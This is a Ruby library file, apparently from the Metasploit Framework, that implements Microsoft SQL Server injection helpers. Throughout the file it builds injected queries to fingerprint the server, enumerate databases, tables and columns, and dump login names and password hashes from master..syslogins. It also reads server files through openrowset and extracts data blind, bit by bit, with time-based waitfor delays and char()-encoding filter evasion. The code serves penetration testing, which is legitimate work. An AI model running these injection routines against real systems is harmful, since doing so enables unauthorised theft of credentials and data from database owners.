# coding: ascii-8bit

require 'base64'
#
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
# needed when performing SQL injection.
# Instantiate it only if you get the query results of your SQL injection returned on the response.
#
module Msf::Exploit::SQLi::Mssqli
  class Common < Msf::Exploit::SQLi::Common
    #
    # Encoders supported by Microsoft SQL Server
    # Keys are MSSQL function names, values are decoding procs in Ruby
    #
    ENCODERS = {
      hex: {
        encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
        decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
      }
    }.freeze

    #
    #   See SQLi::Common#initialize
    #
    def initialize(datastore, framework, user_output, opts = {}, &query_proc)
      opts[:concat_separator] ||= ','
      if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
        # if it's a String or a Symbol, use a predefined encoder if it exists
        opts[:encoder] = opts[:encoder].downcase.intern
        opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
      end
      super
    end

    #
    #   Query the Microsoft SQL Server version
    #   @return [String] The Microsoft SQL Server version in use
    #
    def version
      call_function('@@VERSION')
    end

    #
    #   Query the current database name
    #   @return [String] The name of the current database
    #
    def current_database
      call_function('DB_NAME()')
    end

    #
    #   Query the hostname
    #   @return [String] The hostname of the server running Microsoft SQL Server
    #
    def hostname
      call_function('@@SERVERNAME')
    end

    #   Query the current user
    #   @return [String] The username of the current user
    #
    def current_user
      call_function('user_name()')
    end

    #
    #   Query the names of all the existing databases
    #   @return [Array] An array of Strings, the database names
    #
    def enum_database_names
      dump_table_fields('master..sysdatabases', %w[name]).flatten
    end

    #
    #   Query the names of the tables in a given database
    #   @param database [String] the name of a database, or nil or an empty string for the current database
    #   @return [Array] An array of Strings, the table names in the given database
    #
    def enum_table_names(database = '')
      sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
      dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
    end

    def enum_view_names(database = '')
      sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
      dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
    end

    #
    # Query the mssql users (their username and password), this might require root privileges.
    # @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
    #
    def enum_dbms_users
      # might require root privileges
      dump_table_fields('master..syslogins', %w[name password])
    end

    #
    #   Query the column names of the given table in the given database
    #   @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
    #   @return [Array] An array of Strings, the column names in the given table belonging to the given database
    #
    def enum_table_columns(table_name)
      table_schema_condition = ''
      if table_name.include?('.')
        database, table_name = table_name.split(/\.{1,2}/)
        database += '..'
      else
        database = ''
      end
      dump_table_fields("#{database}syscolumns", %w[name],
                        "id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
    end

    #
    #  Query the given columns of the records of the given table, that satisfy an optional condition
    #  @param table [String]  The name of the table to query
    #  @param columns [Array] The names of the columns to query
    #  @param condition [String] An optional condition, return only the rows satisfying it
    #  @param num_limit [Integer] An optional maximum number of results to return
    #  @return [Array] An array, where each element is an array of strings representing a row of the results
    #
    def dump_table_fields(table, columns, condition = '', num_limit = 0)
      return '' if columns.empty?

      columns = columns.map do |col|
        col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
        @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
      end.join("+'#{@second_concat_separator}'+")
      unless condition.empty?
        condition = ' where ' + condition
      end
      num_limit = num_limit.to_i
      limit = num_limit > 0 ? " top #{num_limit}" : ''
      retrieved_data = nil
      identifier_generator = Rex::RandomIdentifier::Generator.new
      if @safe
        # no group_concat, leak one row at a time
        count_item = 'cast(count(1) as varchar(max))'
        count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
        row_count = run_sql("select #{count_item} from #{table}#{condition}")
        row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
        num_limit = row_count if num_limit == 0 || row_count < num_limit
        # generate a random alias for every column name
        item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
        retrieved_data = num_limit.times.map do |current_row|
          if @truncation_length
            truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
          else
            run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
          end
        end
      elsif num_limit > 0
        # if limit > 0, an alias will be necessary
        alias1, alias2 = 2.times.map { identifier_generator.generate }
        if @truncation_length
          retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
          "^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
          "#{condition}) #{alias2}").split(@concat_separator || ',')
        else
          retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
          " from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
        end
      elsif @truncation_length
        retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
          "^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
      else
        retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
        " from #{table}#{condition}").split(@concat_separator || ',')
      end

      retrieved_data.map do |row|
        row = row.split(@second_concat_separator)
        @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
      end
    end

    #
    # Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
    # queries that should return known results return the results we expect from them
    #
    def test_vulnerable
      random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
      random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
      query_string = "'#{random_string}'"
      query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
      output = run_sql("select #{query_string}")
      return false if output.nil?
      (@encoder ? @encoder[:decode].call(output) : output) == random_string
    end

    #
    # Attempt writing data to the file at the given path
    #
    def write_to_file(fpath, data)
      run_sql("select '#{data}' into dumpfile '#{fpath}'")
    end

    #
    # Attempt reading from a file on the filesystem
    # @param fpath [String] The path of the file to read
    # @return [String] The content of the file if reading was successful
    #
    def read_from_file(fpath, binary=false)
      alias1 = Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(5..11)
      expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn'
      output = if @truncation_length
        truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \
        "from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
      else
        run_sql("select #{expr} from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
      end
      output = @encoder[:decode].call(output) if @encoder
      output
    end

    private

    #
    #  Helper method used in cases where the response is truncated.
    #  @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
    #  @return [String] The query result
    #
    def truncated_query(query)
      result = [ ]
      offset = 1
      loop do
        slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
        offset += @truncation_length # should be same as @truncation_length for most cases
        result << slice
        vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
        print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
        break if slice.length < @truncation_length
      end
      result.join
    end

    #
    # Checks the options specific to Microsoft SQL Server (if any)
    #
    def check_opts(opts)
      unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
        raise ArgumentError, 'Unsupported encoder'
      end

      super
    end

    def call_function(function)
      function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
      output = nil
      if @truncation_length
        output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
      else
        output = run_sql("select #{function}")
      end
      output = @encoder[:decode].call(output) if @encoder
      output
    end

    def blind_detect_length(query, timebased)
      if_function = ''
      sleep_part = ''
      if timebased
        if_function = 'if(' + if_function
        sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
      end
      i = 0
      output_length = 0
      loop do
        output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
        output_length |= (1 << i) unless output_bit
        i += 1
        stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
        break if stop
      end
      output_length
    end

    def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
      if_function = ''
      sleep_part = ''
      if timebased
        if_function = 'if(' + if_function
        sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
      end
      output = length.times.map do |j|
        current_character = known_bits
        bits_to_guess.times do |k|
          # the query below: the inner substr returns a character from the result, the outer returns a bit of it
          output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
          current_character |= (1 << k) unless output_bit
        end
        current_character.chr
      end.join
      output
    end

    #
    #  Encodes strings in the query string as hexadecimal numbers
    #
    def hex_encode_strings(query)
      # for more encoding capabilities, run code at the beginning of your block
      query.gsub(/'.*?'|".*?"/) do |match|
        str = match[1..-2]
        if str.empty?
          "left(char(#{rand(0..255)}),0)"
        else
          str.each_codepoint.map { |code| "char(#{code})" }.join('+')
        end
      end
    end
  end
end
